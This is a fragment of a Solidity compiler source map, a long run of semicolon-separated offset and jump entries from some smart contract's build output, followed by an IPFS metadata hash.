;;3085:356::o;3636:127::-;3697:10;3692:3;3688:20;3685:1;3678:31;3728:4;3725:1;3718:15;3752:4;3749:1;3742:15;3768:422;3857:1;3900:5;3857:1;3914:270;3935:7;3925:8;3922:21;3914:270;;;3994:4;3990:1;3986:6;3982:17;3976:4;3973:27;3970:53;;;4003:18;;:::i;:::-;4053:7;4043:8;4039:22;4036:55;;;4073:16;;;;4036:55;4152:22;;;;4112:15;;;;3914:270;;;3918:3;3768:422;;;;;:::o;4195:806::-;4244:5;4274:8;4264:80;;-1:-1:-1;4315:1:1;4329:5;;4264:80;4363:4;4353:76;;-1:-1:-1;4400:1:1;4414:5;;4353:76;4445:4;4463:1;4458:59;;;;4531:1;4526:130;;;;4438:218;;4458:59;4488:1;4479:10;;4502:5;;;4526:130;4563:3;4553:8;4550:17;4547:43;;;4570:18;;:::i;:::-;-1:-1:-1;;4626:1:1;4612:16;;4641:5;;4438:218;;4740:2;4730:8;4727:16;4721:3;4715:4;4712:13;4708:36;4702:2;4692:8;4689:16;4684:2;4678:4;4675:12;4671:35;4668:77;4665:159;;;-1:-1:-1;4777:19:1;;;4809:5;;4665:159;4856:34;4881:8;4875:4;4856:34;:::i;:::-;4926:6;4922:1;4918:6;4914:19;4905:7;4902:32;4899:58;;;4937:18;;:::i;:::-;4975:20;;4195:806;-1:-1:-1;;;4195:806:1:o;5006:140::-;5064:5;5093:47;5134:4;5124:8;5120:19;5114:4;5093:47;:::i;5151:168::-;5224:9;;;5255;;5272:15;;;5266:22;;5252:37;5242:71;;5293:18;;:::i;5676:251::-;5746:6;5799:2;5787:9;5778:7;5774:23;5770:32;5767:52;;;5815:1;5812;5805:12;5767:52;5847:9;5841:16;5866:31;5891:5;5866:31;:::i;6853:306::-;6941:6;6949;6957;7010:2;6998:9;6989:7;6985:23;6981:32;6978:52;;;7026:1;7023;7016:12;6978:52;7055:9;7049:16;7039:26;;7105:2;7094:9;7090:18;7084:25;7074:35;;7149:2;7138:9;7134:18;7128:25;7118:35;;6853:306;;;;;:::o;7443:277::-;7510:6;7563:2;7551:9;7542:7;7538:23;7534:32;7531:52;;;7579:1;7576;7569:12;7531:52;7611:9;7605:16;7664:5;7657:13;7650:21;7643:5;7640:32;7630:60;;7686:1;7683;7676:12;10107:125;10172:9;;;10193:10;;;10190:36;;;10206:18;;:::i;10592:135::-;10631:3;10652:17;;;10649:43;;10672:18;;:::i;:::-;-1:-1:-1;10719:1:1;10708:13;;10592:135::o;11084:128::-;11151:9;;;11172:11;;;11169:37;;;11186:18;;:::i;11349:127::-;11410:10;11405:3;11401:20;11398:1;11391:31;11441:4;11438:1;11431:15;11465:4;11462:1;11455:15;11481:980;11743:4;11791:3;11780:9;11776:19;11822:6;11811:9;11804:25;11848:2;11886:6;11881:2;11870:9;11866:18;11859:34;11929:3;11924:2;11913:9;11909:18;11902:31;11953:6;11988;11982:13;12019:6;12011;12004:22;12057:3;12046:9;12042:19;12035:26;;12096:2;12088:6;12084:15;12070:29;;12117:1;12127:195;12141:6;12138:1;12135:13;12127:195;;;12206:13;;-1:-1:-1;;;;;12202:39:1;12190:52;;12297:15;;;;12262:12;;;;12238:1;12156:9;12127:195;;;-1:-1:-1;;;;;;;12378:32:1;;;;12373:2;12358:18;;12351:60;-1:-1:-1;;;12442:3:1;12427:19;12420:35;12339:3;11481:980;-1:-1:-1;;;11481:980:1:o;12466:217::-;12506:1;12532;12522:132;;12576:10;12571:3;12567:20;12564:1;12557:31;12611:4;12608:1;12601:15;12639:4;12636:1;12629:15;12522:132;-1:-1:-1;12668:9:1;;12466:217::o

ipfs://993329158764b1920f2eb7c596ddf465a1b696b3e8e30d631046abe7c8db7f14